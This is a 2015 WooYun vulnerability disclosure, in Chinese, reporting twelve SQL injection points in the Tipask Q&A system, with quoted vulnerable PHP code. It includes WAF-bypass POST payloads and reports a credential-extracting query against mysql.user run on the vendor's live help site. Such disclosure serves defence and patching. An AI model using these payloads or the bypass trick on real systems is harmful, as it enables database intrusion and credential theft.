当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097791

漏洞标题:Tipask问答系统12个注射打包

相关厂商:cncert国家互联网应急中心

漏洞作者: loopx9

提交时间:2015-02-20 08:31

修复时间:2015-05-29 17:34

公开时间:2015-05-29 17:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-20: 细节已通知厂商并且等待厂商处理中
2015-02-28: 厂商已经确认,细节仅向厂商公开
2015-03-03: 细节向第三方安全合作伙伴开放
2015-04-24: 细节向核心白帽子及相关领域专家公开
2015-05-04: 细节向普通白帽子公开
2015-05-14: 细节向实习白帽子公开
2015-05-29: 细节向公众公开

简要描述:

参加某期众测的时候,厂商使用了这套系统,就下载下来看了看,发现注入一大堆。

详细说明:

由于程序后端sql语句很多地方没有使用单引号将参数括起来,这样对用户输入的检查一旦有所疏漏就容易造成sql注入漏洞。
注入点1:
control/question.php:

function onanswer() {
//只允许专家回答问题
if (isset($this->setting['allow_expert']) && $this->setting['allow_expert'] && !$this->user['expert']) {
$this->message('站点已设置为只允许专家回答问题,如有疑问请联系站长.');
}
$qid = $this->post['qid']; //$_POST['qid'] 传入,注入点
$question = $_ENV['question']->get($qid);
if (!$question) {
$this->message('提交回答失败,问题不存在!');
}
if ($this->user['uid'] == $question['authorid']) {
$this->message('提交回答失败,不能自问自答!', 'question/view/' . $qid);
}
$this->setting['code_ask'] && $this->checkcode();
$already = $_ENV['question']->already($qid, $this->user['uid']); //跟进already函数


model/question.class.php:

function already($qid, $uid) {
$already = $this->db->fetch_first("SELECT qid,authorid FROM `" . DB_TABLEPRE . "answer` WHERE `qid` =$qid and authorid=$uid");//qid没引号
return is_array($already);
}



注入点2:
control/category.php:

function onview() {
$this->load("expert");
$cid = intval($this->get[2])?$this->get[2]:'all'; //传入参数,注入点
$status = isset($this->get[3]) ? $this->get[3] : 'all';
@$page = max(1, intval($this->get[4]));
$pagesize = $this->setting['list_default'];
$startindex = ($page - 1) * $pagesize;
if ($cid != 'all') {
$category = $this->category[$cid];
$navtitle = $category['name'];
$cfield = 'cid' . $category['grade'];
} else {
$category = $this->category;
$navtitle = '全部分类';
$cfield = '';
$category['pid'] = 0;
}
$rownum = $_ENV['question']->rownum_by_cfield_cvalue_status($cfield, $cid, $status);
$questionlist = $_ENV['question']->list_by_cfield_cvalue_status($cfield, $cid, $status, $startindex, $pagesize);
$departstr = page($rownum, $pagesize, $page, "category/view/$cid/$status");



跟进rownum_by_cfield_cvalue_status函数:
model/question.class.php:

function rownum_by_cfield_cvalue_status($cfield = 'cid1', $cvalue = 0, $status = 0) {
$condition = " 1=1 ";
($cfield && $cvalue != 'all') && $condition.=" AND $cfield=$cvalue "; //第二个参数进入sql语句且没有引号保护
isset($this->statustable[$status]) && $condition.=$this->statustable[$status];
return $this->db->fetch_total('question', $condition);
}



注入点3:
control/favorite.php:

function ondelete() {
if (isset($this->post['submit'])) {
$ids = $this->post['id']; //post传入,注入点
$_ENV['favorite']->remove($ids); //跟进remove函数
$this->message("收藏删除成功!", 'favorite/default');
}
}


model/favorite.class.php:

function remove($ids) {
if (is_array($ids)) {
$ids = implode(",", $ids);
}
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "favorite` WHERE `id` IN($ids)"); //无引号保护
}



注入点4:
control/gift.php:

function onadd() {
if(isset($this->post['realname'])) {
$realname = $this->post['realname'];
$email = $this->post['email'];
$phone = $this->post['phone'];
$addr = $this->post['addr'];
$postcode = $this->post['postcode'];
$qq = $this->post['qq'];
$notes = $this->post['notes'];
$gid = $this->post['gid']; //post传入,注入点
$param = array();
...
$_ENV['user']->update_gift($this->user['uid'],$realname,$email,$phone,$qq);
$_ENV['gift']->addlog($this->user['uid'],$gid,$this->user['username'],$realname,$this->user['email'],$phone,$addr,$postcode,$gift['title'],$qq,$notes,$gift['credit']);//跟进addlog函数
}


model/gift.class.php:

function addlog($uid, $gid, $username, $realname, $email, $phone, $address, $postcode, $giftname, $qq, $notes, $credit) {
$this->db->query("INSERT INTO " . DB_TABLEPRE . "giftlog SET `uid`=$uid,`gid`=$gid,`notes`='$notes',`email`='$email',`qq`='$qq',`phone`='$phone',`postcode`='$postcode',`address`='$address',`username`='$username',`realname`='$realname',`giftname`='$giftname',`credit`=$credit,`time`=" . $this->base->time);
}
//$gid没有引号保护



注入点5:
control/inform.php:

function onadd() {
empty($this->post['informkind']) && $this->message('请选择举报原因,谢谢!','BACK');
$inform = $_ENV['inform']->get($this->post['qid']); //注入点,跟进get函数
...


model/inform.class.php:

function get($qid) {
return $this->db->fetch_first("SELECT * FROM ".DB_TABLEPRE."inform WHERE qid=$qid"); //还是没有引号保护
}



注入点6:
control/message.php:

function onremove() {
if (isset($this->post['submit'])) {
$inbox = $this->post['messageid']['inbox']; //注入点
$outbox = $this->post['messageid']['outbox'];//注入点
if ($inbox)
$_ENV['message']->remove("inbox", $inbox);
if ($outbox)
$_ENV['message']->remove("outbox", $outbox);
$this->message("消息删除成功!", get_url_source());
}
}


model/message.class.php:
没引号保护

function remove($type, $msgids) {
$messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
if ('inbox' == $type) {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
} else {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
}
}


注入点7:
control/rss.php:

function oncategory() {
$cid=$this->get[2]; //传入,注入点
$status=isset($this->get[3])?$this->get[3]:'all';
$category=$_ENV['category']->get($cid);
$cfield='cid'.$category['grade'];
$questionlist=$_ENV['question']->list_by_cfield_cvalue_status($cfield,$cid,$status,0,20);
$this->writerss($questionlist,'分类'.$category['name'].$this->statusarray[$status].'问题');
}


跟进list_by_cfield_cvalue_status函数:
model/question.class.php:

function list_by_cfield_cvalue_status($cfield = 'cid1', $cvalue = 0, $status = 0, $start = 0, $limit = 10) {
$questionlist = array();
$sql = "SELECT * FROM " . DB_TABLEPRE . "question WHERE 1=1 ";
($cfield && $cvalue != 'all') && ($sql.=" AND $cfield=$cvalue "); //没引号
isset($this->ordertable[$status]) && $sql.=$this->ordertable[$status];
$sql.=" LIMIT $start,$limit";
$query = $this->db->query($sql);
while ($question = $this->db->fetch_array($query)) {
$question['category_name'] = $this->base->category[$question['cid']]['name'];
$question['format_time'] = tdate($question['time']);
$question['avatar'] = get_avatar_dir($question['authorid']);
$question['url'] = url('question/view/' . $question['id'], $question['url']);
$questionlist[] = $question;
}
return $questionlist;
}



注入点8:
control/question.php:

function onajaxgood() {
$qid = $this->get[2]; //传入,注入点
$tgood = tcookie('good_' . $qid);
!empty($tgood) && exit('-1');
$_ENV['question']->update_goods($qid);//跟进update_goods函数
tcookie('good_' . $qid, $qid);
exit('1');


}
model/question.class.php:

function update_status($qid, $status = 9) {
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` set status=$status WHERE `id` = $qid");//没引号
}



注入点9:
control/question.php:

function onsupply() {
$qid = $this->get[2] ? $this->get[2] : $this->post['qid'];//注入点
...
$_ENV['question']->add_supply($qid, $question['supply'], $content, $status); //跟进add_supply函数
$viewurl = urlmap('question/view/' . $qid, 2);
if (0 == $status) {
$this->message('补充问题成功!为了确保问答的质量,我们会对您的提问内容进行审核。请耐心等待......', 'BACK');
} else {
$this->message('补充问题成功!', $viewurl);
}
}
include template("supply");
}



model/question.class.php:

function add_supply($qid, $supply, $content, $status = 1) {
$this->db->query("INSERT " . DB_TABLEPRE . "question_supply(`id`,`qid`,`content`,`time`) VALUES (null,$qid,'$content',{$this->base->time})"); //qid没引号
}



注入点10:
control/question.php:

function oneditanswer() {
$navtitle = '修改回答';
$aid = $this->get[2] ? $this->get[2] : $this->post['aid'];
...
$_ENV['answer']->update_content($aid, $content, $status); //跟进update_content函数
if (0 == $status) {
$this->message('修改回答成功!为了确保问答的质量,我们会对您的回答内容进行审核。请耐心等待......', $viewurl);
} else {
$this->message('修改回答成功!', $viewurl);
}
}
include template("editanswer");
}


model/question.class.php:

function update_content($qid, $title, $content) {
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET `title`='$title',`description`='$content' WHERE `id`=$qid"); //没引号
$this->db->query("UPDATE `" . DB_TABLEPRE . "answer` SET `title`='$title' WHERE `qid`=$qid");
if ($this->base->setting['xunsearch_open']) {
$question = array();
$question['id'] = $qid;
$question['title'] = $title;
$question['description'] = $content;
$doc = new XSDocument;
$doc->setFields($question);
$this->index->update($doc);
}
}



注入点11:
control/question.php:

function onsearch() {
$qstatus = $status = $this->get[3] ? $this->get[3] : 1; //参数传入,注入点
(1 == $status) && ($qstatus = "1,2,6,9");
(2 == $status) && ($qstatus = "2,6");
//$status 不为1和2,$qstatus 就不会被赋值
...
$rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus); //rownum_by_tag函数没引号
$questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize);//list_by_tag也没引号
} else {
$questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize);//search_title没引号
$rownum = $_ENV['question']->search_title_num($word, $qstatus);//search_title_num没引号
}
}


model/question.class.php:

function rownum_by_tag($name, $status = '1,2,6') {
$query = $this->db->query("SELECT * FROM `" . DB_TABLEPRE . "question` AS q," . DB_TABLEPRE . "question_tag AS t WHERE q.id=t.qid AND t.name='$name' AND q.status IN ($status) ORDER BY q.answers DESC"); //status没引号保护
return $this->db->num_rows($query);
}



注入点12:control/question.php:

function onmovecategory() {
if (intval($this->post['category'])) {
$cid = intval($this->post['category']);
$cid1 = 0;
$cid2 = 0;
$cid3 = 0;
$qid = $this->post['qid']; //post传入,注入点
$viewurl = urlmap('question/view/' . $qid, 2);
$category = $this->cache->load('category');
if ($category[$cid]['grade'] == 1) {
$cid1 = $cid;
} else if ($category[$cid]['grade'] == 2) {
$cid2 = $cid;
$cid1 = $category[$cid]['pid'];
} else if ($category[$cid]['grade'] == 3) {
$cid3 = $cid;
$cid2 = $category[$cid]['pid'];
$cid1 = $category[$cid2]['pid'];
} else {
$this->message('分类不存在,请更下缓存!', $viewurl);
}
$_ENV['question']->update_category($qid, $cid, $cid1, $cid2, $cid3); //跟进update_category函数
$this->message('问题分类修改成功!', $viewurl);
}
}


model/question.class.php:

function update_category($qids, $cid, $cid1, $cid2, $cid3) { //第一个参数没引号
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET `cid`=$cid,`cid1`=$cid1,`cid2`=$cid2,`cid3`=$cid3 WHERE `id`in ($qids)");
if ($this->base->setting['xunsearch_open']) {
foreach ($qids as $qid) {
$question = array();
$question['id'] = $qid;
$question['cid'] = $cid;
$question['cid1'] = $cid1;
$question['cid2'] = $cid2;
$question['cid3'] = $cid3;
$doc = new XSDocument;
$doc->setFields($question);
$this->index->update($doc);
}
}
}

漏洞证明:

程序本身有WAF,不好绕。注入点3、6可以传入数组,之后又将数组合并为字符串带入sql语句,可以利用这个来bypass WAF.
注入点3:(需要登录)

http://localhost/tipask/index.php?favorite/delete.html
post数据:
submit=1&id[]=select 123/*&id[]=*/from mysql.user


sql日志:

1.png


注入点6:(需要登录)

http://localhost/tipask/index.php?message/remove.html
post数据:
submit=1&messageid[inbox][]=select 123/*&messageid[inbox][]=*/from mysql.user


sql日志:

2.png


官网help.tipask.com测试:

select concat(user,0x3a,password) from mysql.user limit 0,1:


mysql.png

修复方案:

规范sql书写;
严格对用户输入进行检查。

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-28 17:32

厂商回复:

CNVD确认所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无